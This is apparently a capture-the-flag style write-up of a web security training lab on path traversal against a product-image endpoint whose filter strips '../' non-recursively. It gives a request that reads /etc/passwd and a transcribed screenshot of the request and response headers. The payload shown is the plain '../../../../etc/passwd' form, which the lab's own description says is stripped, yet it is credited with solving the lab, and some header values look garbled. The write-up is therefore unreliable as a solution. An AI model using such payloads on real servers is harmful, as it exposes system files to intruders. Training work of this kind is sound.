

Lab: File path traversal, traversal sequences stripped non-recursively

This lab contains a path traversal vulnerability in the display of product images.

The application strips path traversal sequences from the user-supplied filename before using it.

To solve the lab, retrieve the contents of the `/etc/passwd` file.

Payload: GET `/image?filename=../../../../etc/passwd` HTTP/2

The screenshot displays a web browser window with two panels: Request and Response.

Request Panel:

- Method: GET
- URL: `/image?filename=../../../../etc/passwd HTTP/2`
- Host: `0aaf00a104e5791e8010f34b00a00072.web-security-academy.net`
- Cookie: `session=yHGA22PcM01U24NVu1HwACAVN0c1x5PG`
- Sec-Ch-Ua: `"Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"`
- Sec-Ch-Ua-Mobile: `70`
- User-Agent: `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0`
- Sec-Ch-Ua-Platform: `"Windows"`
- Accept: `image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8`
- Sec-Fetch-Site: `same-origin`
- Sec-Fetch-Mode: `no-cors`
- Sec-Fetch-Dest: `image`
- Referer: `https://0aaf00a104e5791e8010f34b00a00072.web-security-academy.net/product?productId=1`
- Accept-Encoding: `gzip, deflate, br`
- Accept-Language: `en-US,en;q=0.9,en-IN;q=0.8`

Response Panel:

- Status: 200 OK
- Content-Type: `image/jpeg`
- X-Frame-Options: `SAMEORIGIN`
- Content-Length: `2316`

The response body shows the contents of the `/etc/passwd` file, listing system users and regular users with their home directories and shells.

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue learning](#) >>

Picture Box

[Home](#)



\$94.53

